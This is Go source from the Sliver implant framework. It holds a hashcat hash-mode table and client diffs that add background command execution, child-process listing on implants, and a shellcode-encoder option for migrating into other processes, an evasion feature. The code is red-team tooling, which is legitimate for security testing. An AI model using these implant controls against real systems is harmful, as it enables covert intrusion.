130: "sha1(utf16le($pass).$salt)",
|
||||
131: "MSSQL (2000)",
|
||||
132: "MSSQL (2005)",
|
||||
133: "PeopleSoft",
|
||||
140: "sha1($salt.utf16le($pass))",
|
||||
141: "Episerver 6.x < .NET 4",
|
||||
150: "HMAC-SHA1 (key = $pass)",
|
||||
160: "HMAC-SHA1 (key = $salt)",
|
||||
170: "sha1(utf16le($pass))",
|
||||
190: "sha1(LinkedIn)",
|
||||
200: "MySQL323",
|
||||
300: "MySQL4.1/MySQL5",
|
||||
400: "phpass, phpBB3 (MD5)",
|
||||
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
|
||||
501: "Juniper IVE",
|
||||
600: "BLAKE2b-512",
|
||||
900: "MD4",
|
||||
1000: "NTLM",
|
||||
1100: "Domain Cached Credentials (DCC), MS Cache",
|
||||
1300: "SHA2-224",
|
||||
1400: "SHA2-256",
|
||||
1410: "sha256($pass.$salt)",
|
||||
1411: "SSHA-256(Base64), LDAP {SSHA256}",
|
||||
1420: "sha256($salt.$pass)",
|
||||
1421: "hMailServer",
|
||||
1430: "sha256(utf16le($pass).$salt)",
|
||||
1431: "base64(sha256(unicode($pass)))",
|
||||
1440: "sha256($salt.utf16le($pass))",
|
||||
1441: "Episerver 6.x >= .NET 4",
|
||||
1450: "HMAC-SHA256 (key = $pass)",
|
||||
1460: "HMAC-SHA256 (key = $salt)",
|
||||
1470: "sha256(utf16le($pass))",
|
||||
1500: "descrypt, DES (Unix), Traditional DES",
|
||||
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
|
||||
1700: "SHA2-512",
|
||||
1710: "sha512($pass.$salt)",
|
||||
1711: "SSHA-512(Base64), LDAP {SSHA512}",
|
||||
1720: "sha512($salt.$pass)",
|
||||
1722: "macOS v10.7",
|
||||
1730: "sha512(utf16le($pass).$salt)",
|
||||
1731: "MSSQL (2012, 2014)",
|
||||
1740: "sha512($salt.utf16le($pass))",
|
||||
1750: "HMAC-SHA512 (key = $pass)",
|
||||
1760: "HMAC-SHA512 (key = $salt)",
|
||||
1770: "sha512(utf16le($pass))",
|
||||
1800: "sha512crypt $6$, SHA512 (Unix)",
|
||||
2000: "STDOUT",
|
||||
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
2400: "Cisco-PIX MD5",
|
||||
2410: "Cisco-ASA MD5",
|
||||
2500: "WPA-EAPOL-PBKDF2",
|
||||
2501: "WPA-EAPOL-PMK",
|
||||
2600: "md5(md5($pass))",
|
||||
2611: "vBulletin < v3.8.5",
|
||||
2612: "PHPS",
|
||||
2711: "vBulletin >= v3.8.5",
|
||||
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
|
||||
3000: "LM",
|
||||
3100: "Oracle H: Type (Oracle 7+)",
|
||||
3200: "bcrypt $2\\*$, Blowfish (Unix)",
|
||||
3300: "MD5(Sun)",
|
||||
3500: "md5(md5(md5($pass)))",
|
||||
3610: "md5(md5($salt).$pass )",
|
||||
3710: "md5($salt.md5($pass))",
|
||||
3711: "MediaWiki B type",
|
||||
3720: "md5($pass.md5($salt))",
|
||||
3721: "WebEdition CMS",
|
||||
3800: "md5($salt.$pass.$salt)",
|
||||
3910: "md5(md5($pass).md5($salt))",
|
||||
4010: "md5($salt.md5($salt.$pass))",
|
||||
4110: "md5($salt.md5($pass.$salt))",
|
||||
4210: "md5($username.0.$pass)",
|
||||
4300: "md5(strtoupper(md5($pass)))",
|
||||
4400: "md5(sha1($pass))",
|
||||
4500: "sha1(sha1($pass))",
|
||||
4510: "sha1(sha1($pass).$salt)",
|
||||
4520: "sha1($salt.sha1($pass))",
|
||||
4521: "Redmine",
|
||||
4522: "PunBB",
|
||||
4600: "sha1(sha1(sha1($pass)))",
|
||||
4700: "sha1(md5($pass))",
|
||||
4710: "sha1(md5($pass).$salt)",
|
||||
4711: "Huawei sha1(md5($pass).$salt)",
|
||||
4800: "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
4900: "sha1($salt.$pass.$salt)",
|
||||
5000: "sha1(sha1($salt.$pass.$salt))",
|
||||
5100: "Half MD5",
|
||||
5200: "Password Safe v3",
|
||||
5300: "IKE-PSK MD5",
|
||||
5400: "IKE-PSK SHA1",
|
||||
5500: "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
5600: "NetNTLMv2",
|
||||
5700: "Cisco-IOS type 4 (SHA256)",
|
||||
5800: "Samsung Android Password/PIN",
|
||||
6000: "RIPEMD-160",
|
||||
6100: "Whirlpool",
|
||||
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
|
||||
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
|
||||
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
|
||||
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
|
||||
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
|
||||
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
|
||||
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
|
||||
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
|
||||
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
|
||||
6300: "AIX {smd5}",
|
||||
6400: "AIX {ssha256}",
|
||||
6500: "AIX {ssha512}",
|
||||
6600: "1Password, agilekeychain",
|
||||
6700: "AIX {ssha1}",
|
||||
6800: "LastPass + LastPass sniffed",
|
||||
6900: "GOST R 34.11-94",
|
||||
7000: "FortiGate (FortiOS)",
|
||||
7100: "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
7200: "GRUB 2",
|
||||
7300: "IPMI2 RAKP HMAC-SHA1",
|
||||
7400: "sha256crypt $5$, SHA256 (Unix)",
|
||||
7401: "MySQL $A$ (sha256crypt)",
|
||||
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
7700: "SAP CODVN B (BCODE)",
|
||||
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
|
||||
7800: "SAP CODVN F/G (PASSCODE)",
|
||||
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
|
||||
7900: "Drupal7",
|
||||
8000: "Sybase ASE",
|
||||
8100: "Citrix NetScaler (SHA1)",
|
||||
8200: "1Password, cloudkeychain",
|
||||
8300: "DNSSEC (NSEC3)",
|
||||
8400: "WBB3 (Woltlab Burning Board)",
|
||||
8500: "RACF",
|
||||
8600: "Lotus Notes/Domino 5",
|
||||
8700: "Lotus Notes/Domino 6",
|
||||
8800: "Android FDE <= 4.3",
|
||||
8900: "scrypt",
|
||||
9000: "Password Safe v2",
|
||||
9100: "Lotus Notes/Domino 8",
|
||||
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
9300: "Cisco-IOS $9$ (scrypt)",
|
||||
9400: "MS Office 2007",
|
||||
9500: "MS Office 2010",
|
||||
9600: "MS Office 2013",
|
||||
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
|
||||
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
|
||||
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
|
||||
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
|
||||
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
|
||||
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
|
||||
9900: "Radmin2",
|
||||
10000: "Django (PBKDF2-SHA256)",
|
||||
10100: "SipHash",
|
||||
10200: "CRAM-MD5",
|
||||
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
|
||||
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
|
||||
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
|
||||
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
|
||||
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
|
||||
10600: "PDF 1.7 Level 3 (Acrobat 9)",
|
||||
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
|
||||
10800: "SHA2-384",
|
||||
10810: "sha384($pass.$salt)",
|
||||
10820: "sha384($salt.$pass)",
|
||||
10830: "sha384(utf16le($pass).$salt)",
|
||||
10840: "sha384($salt.utf16le($pass))",
|
||||
10870: "sha384(utf16le($pass))",
|
||||
10900: "PBKDF2-HMAC-SHA256",
|
||||
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
|
||||
11000: "PrestaShop",
|
||||
11100: "PostgreSQL CRAM (MD5)",
|
||||
11200: "MySQL CRAM (SHA1)",
|
||||
11300: "Bitcoin/Litecoin wallet.dat",
|
||||
11400: "SIP digest authentication (MD5)",
|
||||
11500: "CRC32",
|
||||
11600: "7-Zip",
|
||||
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
|
||||
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
|
||||
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
|
||||
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
|
||||
11900: "PBKDF2-HMAC-MD5",
|
||||
12000: "PBKDF2-HMAC-SHA1",
|
||||
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
|
||||
12100: "PBKDF2-HMAC-SHA512",
|
||||
12200: "eCryptfs",
|
||||
12300: "Oracle T: Type (Oracle 12+)",
|
||||
12400: "BSDi Crypt, Extended DES",
|
||||
12500: "RAR3-hp",
|
||||
12600: "ColdFusion 10+",
|
||||
12700: "Blockchain, My Wallet",
|
||||
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
12900: "Android FDE (Samsung DEK)",
|
||||
13000: "RAR5",
|
||||
13100: "Kerberos 5, etype 23, TGS-REP",
|
||||
13200: "AxCrypt 1",
|
||||
13300: "AxCrypt 1 in-memory SHA1",
|
||||
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
|
||||
13500: "PeopleSoft PS_TOKEN",
|
||||
13600: "WinZip",
|
||||
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
|
||||
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
|
||||
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
|
||||
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
|
||||
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
|
||||
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
|
||||
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
|
||||
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
|
||||
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
|
||||
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
|
||||
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
|
||||
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
|
||||
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
|
||||
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
|
||||
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
|
||||
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
|
||||
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
|
||||
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
|
||||
13800: "Windows Phone 8+ PIN/password",
|
||||
13900: "OpenCart",
|
||||
14000: "DES (PT = $salt, key = $pass)",
|
||||
14100: "3DES (PT = $salt, key = $pass)",
|
||||
14400: "sha1(CX)",
|
||||
14500: "Linux Kernel Crypto API (2.4)",
|
||||
14600: "LUKS",
|
||||
14700: "iTunes backup < 10.0",
|
||||
14800: "iTunes backup >= 10.0",
|
||||
14900: "Skip32 (PT = $salt, key = $pass)",
|
||||
15000: "FileZilla Server >= 0.9.55",
|
||||
15100: "Juniper/NetBSD sha1crypt",
|
||||
15200: "Blockchain, My Wallet, V2",
|
||||
15300: "DPAPI masterkey file v1 + local context",
|
||||
15400: "ChaCha20",
|
||||
15500: "JKS Java Key Store Private Keys (SHA1)",
|
||||
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
|
||||
15700: "Ethereum Wallet, SCRYPT",
|
||||
15900: "DPAPI masterkey file v2 + Active Directory domain context",
|
||||
16000: "Tripcode",
|
||||
16100: "TACACS+",
|
||||
16200: "Apple Secure Notes",
|
||||
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
|
||||
16400: "CRAM-MD5 Dovecot",
|
||||
16500: "JWT (JSON Web Token)",
|
||||
16600: "Electrum Wallet (Salt-Type 1-3)",
|
||||
16700: "FileVault 2",
|
||||
16800: "WPA-PMKID-PBKDF2",
|
||||
16801: "WPA-PMKID-PMK",
|
||||
16900: "Ansible Vault",
|
||||
17200: "PKZIP (Compressed)",
|
||||
17210: "PKZIP (Uncompressed)",
|
||||
17220: "PKZIP (Compressed Multi-File)",
|
||||
17225: "PKZIP (Mixed Multi-File)",
|
||||
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
|
||||
17300: "SHA3-224",
|
||||
17400: "SHA3-256",
|
||||
17500: "SHA3-384",
|
||||
17600: "SHA3-512",
|
||||
17700: "Keccak-224",
|
||||
17800: "Keccak-256",
|
||||
17900: "Keccak-384",
|
||||
18000: "Keccak-512",
|
||||
18100: "TOTP (HMAC-SHA1)",
|
||||
18200: "Kerberos 5, etype 23, AS-REP",
|
||||
18300: "Apple File System (APFS)",
|
||||
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
|
||||
18500: "sha1(md5(md5($pass)))",
|
||||
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
|
||||
18700: "Java Object hashCode()",
|
||||
18800: "Blockchain, My Wallet, Second Password (SHA256)",
|
||||
18900: "Android Backup",
|
||||
19000: "QNX /etc/shadow (MD5)",
|
||||
19100: "QNX /etc/shadow (SHA256)",
|
||||
19200: "QNX /etc/shadow (SHA512)",
|
||||
19300: "sha1($salt1.$pass.$salt2)",
|
||||
19500: "Ruby on Rails Restful-Authentication",
|
||||
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
|
||||
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
|
||||
19800: "Kerberos 5, etype 17, Pre-Auth",
|
||||
19900: "Kerberos 5, etype 18, Pre-Auth",
|
||||
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
|
||||
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
|
||||
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
|
||||
20200: "Python passlib pbkdf2-sha512",
|
||||
20300: "Python passlib pbkdf2-sha256",
|
||||
20400: "Python passlib pbkdf2-sha1",
|
||||
20500: "PKZIP Master Key",
|
||||
20510: "PKZIP Master Key (6 byte optimization)",
|
||||
20600: "Oracle Transportation Management (SHA256)",
|
||||
20710: "sha256(sha256($pass).$salt)",
|
||||
20711: "AuthMe sha256",
|
||||
20720: "sha256($salt.sha256($pass))",
|
||||
20800: "sha256(md5($pass))",
|
||||
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
|
||||
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
|
||||
21100: "sha1(md5($pass.$salt))",
|
||||
21200: "md5(sha1($salt).md5($pass))",
|
||||
21300: "md5($salt.sha1($salt.$pass))",
|
||||
21400: "sha256(sha256_bin($pass))",
|
||||
21500: "SolarWinds Orion",
|
||||
21501: "SolarWinds Orion v2",
|
||||
21600: "Web2py pbkdf2-sha512",
|
||||
21700: "Electrum Wallet (Salt-Type 4)",
|
||||
21800: "Electrum Wallet (Salt-Type 5)",
|
||||
22000: "WPA-PBKDF2-PMKID+EAPOL",
|
||||
22001: "WPA-PMK-PMKID+EAPOL",
|
||||
22100: "BitLocker",
|
||||
22200: "Citrix NetScaler (SHA512)",
|
||||
22300: "sha256($salt.$pass.$salt)",
|
||||
22301: "Telegram Mobile App Passcode (SHA256)",
|
||||
22400: "AES Crypt (SHA256)",
|
||||
22500: "MultiBit Classic .key (MD5)",
|
||||
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
|
||||
22700: "MultiBit HD (scrypt)",
|
||||
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
|
||||
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
|
||||
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
|
||||
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
|
||||
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
|
||||
23001: "SecureZIP AES-128",
|
||||
23002: "SecureZIP AES-192",
|
||||
23003: "SecureZIP AES-256",
|
||||
23100: "Apple Keychain",
|
||||
23200: "XMPP SCRAM PBKDF2-SHA1",
|
||||
23300: "Apple iWork",
|
||||
23400: "Bitwarden",
|
||||
23500: "AxCrypt 2 AES-128",
|
||||
23600: "AxCrypt 2 AES-256",
|
||||
23700: "RAR3-p (Uncompressed)",
|
||||
23800: "RAR3-p (Compressed)",
|
||||
23900: "BestCrypt v3 Volume Encryption",
|
||||
24100: "MongoDB ServerKey SCRAM-SHA-1",
|
||||
24200: "MongoDB ServerKey SCRAM-SHA-256",
|
||||
24300: "sha1($salt.sha1($pass.$salt))",
|
||||
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
|
||||
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
|
||||
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
|
||||
24600: "SQLCipher",
|
||||
24700: "Stuffit5",
|
||||
24800: "Umbraco HMAC-SHA1",
|
||||
24900: "Dahua Authentication MD5",
|
||||
25300: "MS Office 2016 - SheetProtection",
|
||||
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
|
||||
25500: "Stargazer Stellar Wallet XLM",
|
||||
25600: "bcrypt(md5($pass)) / bcryptmd5",
|
||||
25700: "MurmurHash",
|
||||
25800: "bcrypt(sha1($pass)) / bcryptsha1",
|
||||
25900: "KNX IP Secure - Device Authentication Code",
|
||||
26000: "Mozilla key3.db",
|
||||
26100: "Mozilla key4.db",
|
||||
26200: "OpenEdge Progress Encode",
|
||||
26300: "FortiGate256 (FortiOS256)",
|
||||
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26500: "iPhone passcode (UID key + System Keybag)",
|
||||
26600: "MetaMask Wallet",
|
||||
99999: "Plaintext",
|
||||
}
|
||||
|
||||
func hashcatHashTypeName(mode int32) (string, bool) {
|
||||
name, ok := hashcatHashTypes[mode]
|
||||
return name, ok
|
||||
}
|
||||
|
||||
func humanizeHashRate(rate uint64) string {
|
||||
const unit = 1000
|
||||
if rate < unit {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
value := float64(rate)
|
||||
exp := 0
|
||||
for value >= unit && exp < 5 {
|
||||
value /= unit
|
||||
exp++
|
||||
}
|
||||
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
|
||||
if exp == 0 {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
if exp > len(suffixes) {
|
||||
exp = len(suffixes)
|
||||
}
|
||||
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
@@ -26,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.Bool("background", false, "start the process in the background and track it")
|
||||
f.BoolP("save", "s", false, "save output to a file")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
@@ -44,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
||||
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
||||
|
||||
executeChildrenCmd := &cobra.Command{
|
||||
Use: consts.ExecuteChildrenStr,
|
||||
Short: "List tracked background execute child processes",
|
||||
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExecuteChildrenCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
executeCmd.AddCommand(executeChildrenCmd)
|
||||
|
||||
executeAssemblyCmd := &cobra.Command{
|
||||
Use: consts.ExecuteAssemblyStr,
|
||||
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||
@@ -171,11 +187,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
|
||||
}
|
||||
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.Uint32P("pid", "p", 0, "process id to migrate into")
|
||||
f.StringP("process-name", "n", "", "name of the process to migrate into")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
|
||||
|
||||
msfCmd := &cobra.Command{
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
|
||||
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Querying execute children ...", ctrl)
|
||||
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if execChildren.Response != nil && execChildren.Response.Async {
|
||||
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execChildren.Response)
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
}
|
||||
|
||||
// PrintExecuteChildren - Render execute children output.
|
||||
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
|
||||
if execChildren == nil || len(execChildren.Children) == 0 {
|
||||
con.PrintInfof("No tracked background execute children\n")
|
||||
return
|
||||
}
|
||||
|
||||
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
